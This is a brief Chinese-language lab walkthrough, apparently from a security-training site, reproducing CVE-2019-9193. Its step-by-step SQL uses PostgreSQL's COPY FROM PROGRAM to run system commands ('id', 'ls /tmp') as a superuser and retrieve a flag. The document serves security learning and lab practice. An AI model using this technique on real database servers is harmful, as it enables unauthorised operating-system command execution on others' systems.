【初级】PostgreSQL 高权限命令执行

CVE-2019-9193

漏洞描述:从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

影响版本:9.3 <= 11.2

参考资料:

  • https://cloud.tencent.com/developer/article/1472565
  • https://www.freebuf.com/vuls/261361.html

漏洞复现

  1. 执行删除你想要来保存命令输出但是可能存在的表,这一步可有可无
    DROP TABLE IF EXISTS cmd_exec
图片[1]-【初级】PostgreSQL 高权限命令执行-NGC660 安全实验室
2.创建用来保存命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
图片[2]-【初级】PostgreSQL 高权限命令执行-NGC660 安全实验室

3.通过 COPY FROM PROGRAM执行系统命令,COPY cmd_exec FROM PROGRAM 'id'

图片[3]-【初级】PostgreSQL 高权限命令执行-NGC660 安全实验室
图片[4]-【初级】PostgreSQL 高权限命令执行-NGC660 安全实验室
  1. 获取flag

COPY cmd_exec FROM PROGRAM 'ls /tmp';

© 版权声明
THE END
喜欢就支持一下吧
点赞10赏点小钱 分享